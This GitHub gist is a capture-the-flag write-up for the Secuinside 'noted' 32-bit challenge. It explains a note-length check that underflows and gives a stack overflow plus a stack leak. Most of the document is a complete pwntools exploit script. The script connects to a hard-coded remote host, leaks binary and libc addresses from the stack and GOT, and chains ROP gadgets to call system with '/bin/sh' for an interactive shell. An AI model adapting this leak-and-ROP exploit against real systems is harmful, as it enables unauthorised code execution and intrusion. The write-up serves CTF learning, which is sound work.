Skip to content

Instantly share code, notes, and snippets.

@sroettger
Created July 10, 2016 11:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sroettger/efd82dae4d45bee9aff6077cadfdb586 to your computer and use it in GitHub Desktop.
Save sroettger/efd82dae4d45bee9aff6077cadfdb586 to your computer and use it in GitHub Desktop.
Secuinside noted writeup

Noted was a 32bit pwnable that read / write notes which are backed by files on the disk. Every file started with a 16 byte password and then you were able to write up to 0x400 bytes to the file. When editing notes, you were allowed to write as many bytes to the file as it contained previously, but the buffer had a fixed size. So if you'd find a way to create a file that is bigger than 0x400 bytes then you'd have a straight forward stack overflow. The bug was in the way the length check worked and the mandatory 16 byte password at the beginning. If you create a file that only contained the password, the length check would underflow and allow you to write (unsigned) -1 bytes to the file / local buffer. The same code would also leak the stack content to you.

From there it was slightly complicated rop since I didn't figure out how to use the plt on x86. First leak the libc address from the got by jumping to one of the puts calls in the binary. On the next return we can gain code execution again by having the ebp point to user controlled data. If you got that, call system and enjoy your shell.

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import struct
from utils import misc
def p(addr):
return struct.pack('<I', addr)
context.update(arch='x86', os='linux', terminal = ['gnome-terminal', '-e'])
HOST = '52.78.11.234'
PORT = 20003
r = remote(HOST, PORT)
class Exploit(object):
def __init__(self, r, name, pw):
self._r = r
self._name = name
self._pw = pw
def menu1(self):
self._r.readuntil('3) Exit')
def menu2(self):
self._r.readuntil('8) Logout')
def register(self):
print('[*] debug: register')
self.menu1()
self._r.sendline('2')
self._r.readuntil('userid :')
self._r.sendline(self._name)
self._r.readuntil('userpw :')
self._r.sendline(self._pw)
def login(self):
print('[*] debug: login')
self.menu1()
self._r.sendline('1')
self._r.readuntil('userid :')
self._r.sendline(self._name)
self._r.readuntil('userpw :')
self._r.sendline(self._pw)
def create_buggy_note(self, name):
print('[*] debug: create note')
self.menu2()
self._r.sendline('2')
self._r.readuntil('title :')
self._r.sendline(name)
self._r.readuntil('filedata length :')
self._r.sendline('-1')
self._r.readuntil('password :')
self._r.sendline('1')
def edit_buggy_note(self, name):
print('[*] debug: edit')
self.menu2()
self._r.sendline('4')
self._r.readuntil('title :')
self._r.sendline(name)
self._r.readuntil('password :')
self._r.sendline('1')
self._r.readuntil('original data : ')
#print(self._r.clean_and_log())
#exit(0)
print('[*] debug: got orig data')
NEW_DATA = 'new file data'
#leak = self._r.readuntil(NEW_DATA)
leak = self._r.recv()
print('[*] debug: got new data')
leak = leak[0x488:leak.find(NEW_DATA)]
#print('[*] leak: {!r}'.format(leak[:0x40]))
return leak
def rand_str():
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
filename = rand_str()
expl = Exploit(r, rand_str(), rand_str())
expl.register()
expl.login()
expl.create_buggy_note(filename)
leak = expl.edit_buggy_note(filename)
ebp, eip = struct.unpack('<II', leak[:8])
user_buf = ebp - 0x4c8
bin_base = eip - 0x292a
print('[*] stack: 0x{:x}'.format(user_buf))
print('[*] bin_base: 0x{:x}'.format(bin_base))
chdir = bin_base + 0x2849
open_ptr = bin_base + 0x1dcf
new_ebp = user_buf + 0x20
flag_ptr = new_ebp - 0x4b0 + 0x28
__xstat_got = 0x5659c030 - 0x56597000
__libc_start_main_got = 0x5659c048 - 0x56597000
puts = bin_base + 0x2366
nop = bin_base + 0x1f61
read = bin_base + 0x1ba6
rop2 = ''
rop2 += p(read)
rop2 += p(0)
rop2 += p(new_ebp)
rop2 += p(1024)
rop = ''
rop = rop.ljust(0x24, 'A')
rop += p(nop) * 3
rop += rop2
rop = rop.ljust(0x488, 'A')
rop += p(new_ebp)
rop += p(puts)
rop += p(bin_base+__xstat_got)
rop += p(0)
rop += p(0x41414143)
rop += p(0x41414143)
rop += p(0x41414143)
rop += p(0x41414143)
sleep(1)
data = r.read(4096, timeout=2)
r.send(rop)
data = r.read(4096, timeout=2)
print('data: {!r}'.format(data))
i = 1
for c in misc.chunks(data, 4):
if c != '\x00\x00\x00\x00':
if i == 1:
xstat = struct.unpack('<I', c)[0]
if i == 7:
start_main = struct.unpack('<I', c)[0]
break
i += 1
offset_system = 0x0003a920
offset___xstat = 0x000d3970
offset_str_bin_sh = 0x15909f
print('xstat: 0x{:x}'.format(xstat))
print('start_main: 0x{:x}'.format(start_main))
libc_base = xstat - offset___xstat
system = libc_base + offset_system
print('libc: 0x{:x}'.format(libc_base))
rop3 = ''
rop3 += p(nop) * 100
rop3 += p(system)
rop3 += p(libc_base + offset_str_bin_sh)
rop3 += p(libc_base + offset_str_bin_sh)
r.send(rop3.ljust(1024, 'D'))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment